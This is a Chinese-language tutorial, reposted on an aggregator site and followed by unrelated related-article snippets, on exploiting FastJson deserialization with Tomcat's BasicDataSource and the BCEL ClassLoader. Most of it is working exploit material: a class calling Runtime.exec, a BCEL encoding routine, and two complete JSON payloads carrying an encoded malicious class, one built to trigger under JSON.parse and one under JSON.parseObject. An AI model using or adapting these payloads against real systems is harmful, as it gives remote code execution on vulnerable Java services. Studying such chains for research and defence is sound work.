【Web】速談FastJson反序列化中BasicDataSource的利用

目錄

關于BCEL

BCEL的惡意利用demo

FastJson配合BCEL初始化任意類

parse情況下后天精心構造彌補先天之不足

exp


參考文章:

BCEL ClassLoader去哪了

Java動態類加載,當FastJson遇到內網

關于BCEL

BCEL(Byte Code Engineering Library)的全名是Apache Commons BCEL,屬于Apache Commons項目下的一個子項目,BCEL庫提供了一系列用于分析、創建、修改Java Class文件的API。相較Commons Collections,BCEL被包含在原生JDK中,更容易被利用。

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面
在Tomcat中也會存在相關的依賴
tomcat7:org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8+:org.apache.tomcat.dbcp.dbcp2.BasicDataSource

com.sun.org.apache.bcel.internal.util.ClassLoader重寫了Java內置的ClassLoader#loadClass()方法,會判斷類名是否是$$BCEL$$開頭,如果是的話,將會對這個字符串進行decode。可以理解為是傳統字節碼的HEX編碼,再將反斜線替換成$。默認情況下外層還會加一層GZip壓縮。

BCEL的惡意利用demo

  • Repository用于將一個Java Class先轉換成原生字節碼(也可以用javac命令)

  • Utility用于將原生的字節碼轉換成BCEL格式的字節碼

package com.FJ;import java.io.IOException;public class calc {public calc() throws IOException {Runtime.getRuntime().exec("calc");}
}
package com.FJ;import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.IOException;public class BcelTest {public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {JavaClass cls = Repository.lookupClass(calc.class);String code = Utility.encode(cls.getBytes(),true);System.out.println("$$BCEL$$"+code);// 加載類并實例化new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();}
}

FastJson配合BCEL初始化任意類

在之前的文章我們已經介紹過了TemplatesImpl,JdbcRowSetImpl鏈,當不出網也不開啟Feature.SupportNonPublicField的時候,我們需要BasicDataSource這條鏈

調用鏈:getConnection()->createDataSource()->createConnectionFactory()->createDriver()

我們簡單看下BasicDataSource#createDriver

 static Driver createDriver(BasicDataSource basicDataSource) throws SQLException {Driver driverToUse = basicDataSource.getDriver();String driverClassName = basicDataSource.getDriverClassName();ClassLoader driverClassLoader = basicDataSource.getDriverClassLoader();String url = basicDataSource.getUrl();if (driverToUse == null) {Class<?> driverFromCCL = null;String message;if (driverClassName != null) {try {try {if (driverClassLoader == null) {driverFromCCL = Class.forName(driverClassName);} else {driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);}} catch (ClassNotFoundException var8) {driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);}} catch (Exception var9) {message = "Cannot load JDBC driver class '" + driverClassName + "'";basicDataSource.log(message, var9);throw new SQLException(message, var9);}}try {if (driverFromCCL == null) {driverToUse = DriverManager.getDriver(url);} else {driverToUse = (Driver)driverFromCCL.getConstructor().newInstance();if (!driverToUse.acceptsURL(url)) {throw new SQLException("No suitable driver", "08001");}}} catch (Exception var10) {message = "Cannot create JDBC driver of class '" + (driverClassName != null ? driverClassName : "") + "' for connect URL '" + url + "'";basicDataSource.log(message, var10);throw new SQLException(message, var10);}}return driverToUse;}

Class.forname當將initial參數設置為true時,表示希望初始化該類。這意味著除了加載類之外,還會觸發該類的初始化操作,包括執行靜態初始化塊和靜態變量賦值等。

然后driverClassName和driverClassLoader都是我們可控的,這不為所欲為了,BCELClassLoader會直接從 classname 中提取 Class 的 字節碼。那么我們就可以設置??driverClassLoader???為com.sun.org.apache.bcel.internal.util.ClassLoader???,設置??driverClassName??為惡意的BCEL格式的字節碼,配合BCEL初始化任意惡意對象。

但遺憾的是

FastJson中的 parse() 會識別并調用目標類的 setter 方法及某些特定條件的 getter 方法,而 parseObject() 由于多執行了 JSON.toJSON(obj),所以在處理過程中會調用反序列化目標類的所有 setter 和 getter 方法。

所謂特定條件條件便是返回值類型繼承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

當反序列化的方法為parse()時getConnection不滿足fastjson對自動調用getter的要求(返回值類型繼承自Collection或Map或AtomicBoolean或AtomicInteger)

但我們可以通過精心構造EXP來彌補先天之不足:

parse情況下后天精心構造彌補先天之不足

首先在??{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}??? 這一整段外面再套一層??{}??,這樣的話會把這個整體當做一個JSONObject,會把這個當做key,值為xxx。在??DefaultJSONParser.parseObject??方法后面會調用key的toString方法

key為??JSONObject??對象,會調用該對象的toString方法。而且JSONObject是Map的子類,當調用??toString??的時候,會依次調用該類的getter方法獲取值。然后會以字符串的形式輸出出來。所以會調用到??BasicDataSource#getConnection??方法。

從而達成為所欲為的目的。

exp

pom依賴

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>8.5.45</version></dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.23</version></dependency>

彈計算器的奇妙咒語(parse版)

package com.FJ;import com.alibaba.fastjson.JSON;public class FJ {public static void main(String[] args) {String payload ="{\n"+ "    {\n"+ "        \"aaa\": {\n"+ "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"+ "                \"driverClassLoader\": {\n"+ "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"+ "                },\n"+ "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A\"\n"+ "        }\n"+ "    }:\"xxx\"\n"+ "}";JSON.parse(payload);}
}

?

但parseObject() 由于多執行了 JSON.toJSON(obj),所以在處理過程中會調用反序列化目標類的所有 setter 和 getter 方法,就不需要這么麻煩。

直接用最原始而樸素的exp來打

package com.FJ;import com.alibaba.fastjson.JSON;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;public class FJ {public static void main(String[] args) {String payload ="{\n" +"    \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +"    \"driverClassLoader\": {\n" +"        \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +"    },\n" +"    \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A\"\n" +"}\n";JSON.parseObject(payload);BasicDataSource basicDataSource = new BasicDataSource();}
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/718299.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/718299.shtml
英文地址,請注明出處:http://en.pswp.cn/news/718299.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

跨時鐘信號處理方法

1. 背景 現在的芯片&#xff08;比如SOC&#xff0c;片上系統&#xff09;集成度和復雜度越來越高&#xff0c;通常一顆芯片上會有許多不同的信號工作在不同的時鐘頻率下。比如SOC芯片中的CPU通常會工作在一個頻率上&#xff0c;總線信號&#xff08;比如DRAM BUS&#xff09;會…

python+Django+Neo4j中醫藥知識圖譜與智能問答平臺

文章目錄 項目地址基礎準備正式運行 項目地址 https://github.com/ZhChessOvO/ZeLanChao_KGQA 基礎準備 請確保您的電腦有以下環境&#xff1a;python3&#xff0c;neo4j 在安裝目錄下進入cmd&#xff0c;輸入指令“pip install -r requirement.txt”,安裝需要的python庫 打…

貓為什么挑食?可以改善、預防貓咪挑食的主食凍干分享

現在的貓咪主人都把自家的小貓當成了心頭的寶貝&#xff0c;呵護備至。最令人頭疼的就是貓咪挑食不吃貓糧&#xff0c;貓為什么挑食&#xff1f;遇到這類情況怎么辦呢&#xff1f;今天&#xff0c;我要分享一個既能確保貓咪不受苦&#xff0c;又能有效改善挑食問題的方法。 一、…

vue api封裝

api封裝 由于一個項目里api是很多的&#xff0c;隨處都在調&#xff0c;如果按照之前的寫法&#xff0c;在每個組件中去調api&#xff0c;一旦api有改動&#xff0c;遍地都要去改&#xff0c;所以api應該也要封裝一下&#xff0c;將api的調用封裝在函數中&#xff0c;將函數集…

C++實現簡易版http server

mini服務器簡介 mini服務器功能 1.實現了GET和POST方法的HTTP request和HTTP respond的構建和發送&#xff0c;使服務器可以完成基本通信功能。 2.使用了線程池技術&#xff0c;使服務器可以一次接收更多的鏈接和加快了服務器處理數據的速度。 3.實現了簡易的CGI&#xff0…

【MATLAB源碼-第155期】基于matlab的OFDM系統多徑信道LS,LMMSE,SVD三種估計算法的比較誤碼率對比仿真。

操作環境&#xff1a; MATLAB 2022a 1、算法描述 OFDM&#xff08;Orthogonal Frequency Division Multiplexing&#xff0c;正交頻分復用&#xff09;是一種高效的無線信號傳輸技術&#xff0c;廣泛應用于現代通信系統&#xff0c;如Wi-Fi、LTE和5G。OFDM通過將寬帶信道劃分…

jmeter 按流量階梯式壓測數據庫

當前版本&#xff1a; jmeter 5.6.3mysql 5.7.39 簡介 JMeter 通過 BZM - Arrivals Thread Group 來模擬并發到達的用戶流量、按時間加壓&#xff0c;可以有效地幫助測試人員評估系統在高壓力和高并發情況下的性能表現。 文章目錄如下 1. 下載插件 2. 界面說明 3. 測試步驟…

C#在并發編程使用Frozen來確保線程安全性

在C#中&#xff0c;Frozen方法通常用于通過不可變對象來確保線程安全性。這通常在并發編程中很有用&#xff0c;特別是在共享狀態的多線程環境中。Frozen方法是Caliburn Micro框架中的一個方法&#xff0c;它用于將對象標記為不可變。 當你調用Frozen方法時&#xff0c;它返回…

云計算 2月26號 (進程管理和常用命令)

一、權限擴展 文件權限管理之&#xff1a; 隱藏權限防止root誤刪除 文件屬性添加與查看 [rootlinux-server ~]# touch file1 file2 file3 1.查看文件屬性 [rootlinux-server ~]# lsattr file1 file2 file3 ---------------- file1 ---------------- file2 ---------------- f…

【FAQ】HarmonyOS SDK 閉源開放能力 —Account Kit

1.問題描述 實時驗證和非實時驗證的區別是什么&#xff1f; 解決方案 相同點&#xff1a; “手機號快速驗證”和“實時驗證”都是為了向用戶發起獲取手機號信息的請求。最終目的都是為了獲取到手機號。這兩種獲取方式都需要完成“獲取您的手機號”的Scope權限申請。 區別&…

UDP協議和TCP協議詳解

文章目錄 應用層自定義協議 傳輸層udp協議TCP協議1.確認應答2.超時重傳3.連接管理建立連接, 三次握手斷開連接, 四次揮手tcp的狀態 4.滑動窗口5.流量控制6.擁塞控制7.延時應答8.攜帶應答9.面向字節流10.異常情況 應用層 自定義協議 客戶端和服務器之間往往要進行交互的是“結構…

Eigen-約簡,訪問和廣播

約簡化&#xff0c;訪客和廣播 一、約簡化1. 標準計算2. 布爾約減 二、訪問三、部分約簡1. 將部分約減與其他業務相結合 四、廣播1. 將廣播與其他業務相結合 一、約簡化 在Eigen中&#xff0c;約簡化是一個接受矩陣或數組并返回單個標量值的函數。最常用的約簡方法之一是.sum(…

心法利器[108] | 微調與RAG的優缺點分析

心法利器 本欄目主要和大家一起討論近期自己學習的心得和體會。具體介紹&#xff1a;倉頡專項&#xff1a;飛機大炮我都會&#xff0c;利器心法我還有。 2023年新的文章合集已經發布&#xff0c;獲取方式看這里&#xff1a;又添十萬字-CS的陋室2023年文章合集來襲&#xff0c;更…

修復通達OA 百度ueditor 文件上傳漏動

前些日子&#xff0c;服務器阿里云監控報警&#xff0c;有文件木馬文件&#xff0c;因為非常忙&#xff0c;就沒及時處理&#xff0c;直接刪除了木馬文件了事。 誰知&#xff0c;這幾天對方又上傳了木馬文件。好家伙&#xff0c;今天不花點時間修復下&#xff0c;你都傳上癮了…

PHP【swoole】

前言 Swoole官方文檔&#xff1a;Swoole 文檔 Swoole 使 PHP 開發人員可以編寫高性能高并發的 TCP、UDP、Unix Socket、HTTP、 WebSocket 等服務&#xff0c;讓 PHP 不再局限于 Web 領域。Swoole4 協程的成熟將 PHP 帶入了前所未有的時期&#xff0c; 為性能的提升提供了獨一無…

Dynamo初學嘗試梳理

學習Dynamo有一段時間了&#xff0c;最近整理了下自己的筆記&#xff0c;分享一些給初學者&#xff0c;做個備忘吧&#xff01;&#xff08;PS&#xff1a;很多資料網上都能搜到&#xff0c;我僅僅是收集整理下筆記&#xff0c;分享給大家&#xff09; 今天先簡單介紹下Dynamo…

展廳設計中多媒體的常用技術

1、互動投影 可以大大提高展廳和觀眾之間的互動體驗&#xff0c;使觀眾不僅可以享受觀看&#xff0c;還可以在輕松娛樂的氛圍中娛樂的氛圍中享受每個展覽的背景故事和內涵&#xff0c;使整個參觀過程非常輕松愉快。 2、幻影成像 可以全面展示企業產品的生產過程&#xff0c;讓觀…

STM32 (4) GPIO(1)

1.芯片的引腳分布 2.普通IO引腳的命名規則 3.IO復用 IO引腳身兼數職的現象叫做IO復用&#xff0c;可以使芯片擁有更多的功能&#xff0c;例如&#xff1a; PA9和PA10既可以用于GPIO的引腳&#xff0c;也可以用于串口或定時器的引腳 通用&#xff1a;CPU直接控制IO引腳的輸入輸…

Linux:用戶格式顯示進程

簡介 在Linux系統中&#xff0c;ps 命令用于查看當前系統中的進程。ps -aux 是該命令的一個常用選項組合&#xff0c;用于以用戶格式顯示所有進程。 ps -aux 輸出的信息內容及含義&#xff1a; USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND r…

【OpenGL編程手冊-04】詳細解釋著色器

著色器 目錄 一、說明二、著色器語言GLSL2.1 典型的著色器代碼2.2 數據類型2.2.1 向量 2.3 輸入與輸出2.3.1 頂點著色器2.3.2 片段著色器 2.4 Uniform2.5 函數后綴含義2 .6 更多屬性&#xff01; 三、我們自己的著色器類四、從文件讀取五、 編譯著色器練習 一、說明 在Hello T…